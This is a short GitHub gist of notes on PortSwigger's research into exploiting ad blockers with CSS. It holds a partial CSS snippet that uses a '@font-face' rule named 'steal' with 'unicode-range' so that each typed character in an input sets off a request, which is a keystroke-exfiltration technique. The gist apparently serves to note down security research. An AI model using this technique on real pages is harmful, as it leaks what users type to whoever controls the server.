Skip to content

Instantly share code, notes, and snippets.

@Luke-SNAW

Luke-SNAW/css.md

Created December 7, 2021 23:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Luke-SNAW/a3ce6e5cfce28690cbd8287002a140ca to your computer and use it in GitHub Desktop.
Save Luke-SNAW/a3ce6e5cfce28690cbd8287002a140ca to your computer and use it in GitHub Desktop.
Download ZIP
[uBlock, I exfiltrate: exploiting ad blockers with CSS] https://portswigger.net/research/ublock-i-exfiltrate-exploiting-ad-blockers-with-css #css #security
Raw
css.md 
<link href="steal-lowercase.css" rel="stylesheet" />
<link href="styles.css" rel="stylesheet" />
<input />
//steal-lowercase.css:
@font-face {
  src: url("/a");
  unicode-range: U+0061;	// a
  font-family: steal;
 }
//…
//styles.css:
input {
  font-family: steal;
}

type 'abc'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment